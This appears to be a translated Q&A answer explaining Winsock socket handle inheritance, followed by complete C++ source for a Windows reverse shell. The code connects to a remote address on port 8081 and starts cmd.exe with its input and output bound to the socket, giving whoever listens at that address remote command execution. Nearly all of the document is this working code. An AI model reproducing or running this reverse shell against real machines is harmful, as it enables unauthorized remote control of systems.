Ключевые моменты:
- Вам необходимо использовать поставщика сокетов (с флагом
XP1_IFS_HANDLES
), который поддерживает перенаправление ввода / вывода. Как отметил @ Реми Лебо. - Пусть новый процесс, запущенный с
CreateProcess
, наследует дескриптор текущего процесса, чтобы дескриптор сокета можно было использовать в новом процессе для записи и чтения. (Установите для bInheritHandles
значение ИСТИНА.)
У меня работают три провайдера протоколов.
ЗавершеноПример кода, предоставленный здесь для всех, кто интересуется.
#include <iostream>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <objbase.h>
#pragma comment(lib, "Ws2_32.lib")
#ifndef UNICODE
#define UNICODE 1
#endif
// Link with ws2_32.lib and ole32.lib
#pragma comment (lib, "ole32.lib")
#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))
// Note: could also use malloc() and free()
void BindSock(char* rhost, int rport);
void connect(char* rhost, int rport, LPWSAPROTOCOL_INFOW protocolInfo)
{
//init socket props
SOCKET sock;
sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, protocolInfo, 0, 0);
if (sock == INVALID_SOCKET) {
printf("socket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return;
}
//printf("[*] Sock init ... \n");
//Filling struc props
struct sockaddr_in clientService;
clientService.sin_family = AF_INET;
InetPton(AF_INET, rhost, &(clientService.sin_addr));
clientService.sin_port = htons(rport);
//printf("[*] attempting to connect \n");
int iResult = WSAConnect(sock, (SOCKADDR*)&clientService, sizeof(clientService), NULL, NULL, NULL, NULL);
if (iResult == SOCKET_ERROR) {
printf("[!] connect function failed with error: %ld\n", WSAGetLastError());
iResult = closesocket(sock);
if (iResult == SOCKET_ERROR)
printf("[!] closesocket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return;
}
printf("[X] Sock Connected\n");
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = (HANDLE)sock;
si.hStdOutput = (HANDLE)sock;
si.hStdError = (HANDLE)sock;
printf("[*] Created process props\n");
if (!CreateProcess("c:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
printf("\nCreateProcess error: %d", GetLastError());
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
void BindSock(char* rhost, int rport) {
/*while (1) {*/
SECURITY_ATTRIBUTES saAttr;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
// Initialize Winsock
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != NO_ERROR) {
printf("WSAStartup function failed with error: %d\n", iResult);
return;
}
printf("[*] Winsock init ... \n");
// Allocate a 16K buffer to retrieve all the protocol providers
DWORD dwBufferLen = 16384;
LPWSAPROTOCOL_INFOW lpProtocolInfo = NULL;
lpProtocolInfo = (LPWSAPROTOCOL_INFOW)MALLOC(dwBufferLen);
if (lpProtocolInfo == NULL) {
wprintf(L"Memory allocation for providers buffer failed\n");
WSACleanup();
return;
}
int iError = 0;
INT iNuminfo = 0;
iNuminfo = WSAEnumProtocolsW(NULL, lpProtocolInfo, &dwBufferLen);
if (iNuminfo == SOCKET_ERROR) {
iError = WSAGetLastError();
if (iError != WSAENOBUFS) {
wprintf(L"WSAEnumProtocols failed with error: %d\n", iError);
if (lpProtocolInfo) {
FREE(lpProtocolInfo);
lpProtocolInfo = NULL;
}
WSACleanup();
return;
}
else {
wprintf(L"WSAEnumProtocols failed with error: WSAENOBUFS (%d)\n",
iError);
wprintf(L" Increasing buffer size to %d\n\n", dwBufferLen);
if (lpProtocolInfo) {
FREE(lpProtocolInfo);
lpProtocolInfo = NULL;
}
lpProtocolInfo = (LPWSAPROTOCOL_INFOW)MALLOC(dwBufferLen);
if (lpProtocolInfo == NULL) {
wprintf(L"Memory allocation increase for buffer failed\n");
WSACleanup();
return;
}
iNuminfo = WSAEnumProtocolsW(NULL, lpProtocolInfo, &dwBufferLen);
if (iNuminfo == SOCKET_ERROR) {
iError = WSAGetLastError();
wprintf(L"WSAEnumProtocols failed with error: %d\n", iError);
if (lpProtocolInfo) {
FREE(lpProtocolInfo);
lpProtocolInfo = NULL;
}
WSACleanup();
return;
}
}
}
wprintf(L"WSAEnumProtocols succeeded with protocol count = %d\n\n",
iNuminfo);
for (int i = 0; i < iNuminfo; i++) {
wprintf(L"Winsock Catalog Provider Entry #%d\n", i);
wprintf
(L"----------------------------------------------------------\n");
// Find protocol provider has the XP1_IFS_HANDLES flag
if (!(lpProtocolInfo[i].dwServiceFlags1 & XP1_IFS_HANDLES))
continue;
// After test and found these three protocol provider support this purpose.
if(!((lpProtocolInfo[i].dwCatalogEntryId == 1001) || (lpProtocolInfo[i].dwCatalogEntryId == 1006) || (lpProtocolInfo[i].dwCatalogEntryId == 1007)))
continue;
wprintf(L"Entry type:\t\t\t ");
if (lpProtocolInfo[i].ProtocolChain.ChainLen == 1)
wprintf(L"Base Service Provider\n");
else
wprintf(L"Layered Chain Entry\n");
wprintf(L"Protocol:\t\t\t %ws\n", lpProtocolInfo[i].szProtocol);
WCHAR GuidString[40] = { 0 };
int iRet =
StringFromGUID2(lpProtocolInfo[i].ProviderId,
(LPOLESTR)& GuidString, 39);
if (iRet == 0)
wprintf(L"StringFromGUID2 failed\n");
else
wprintf(L"Provider ID:\t\t\t %ws\n", GuidString);
wprintf(L"Catalog Entry ID:\t\t %u\n",
lpProtocolInfo[i].dwCatalogEntryId);
wprintf(L"ServiceFlags1:\t\t\t 0x%x\n",
lpProtocolInfo[i].dwServiceFlags1);
wprintf(L"\n");
// Try to connect and redirect process output to remote via socket
connect(rhost, rport, &lpProtocolInfo[i]);
}
if (lpProtocolInfo) {
FREE(lpProtocolInfo);
lpProtocolInfo = NULL;
}
WSACleanup();
}
int main(int argc, char** argv) {
char rhost[] = "xxxxxxxxx"; // ip to connect to
int rport = 8081; // select a port
BindSock(rhost, rport);
return 0;
}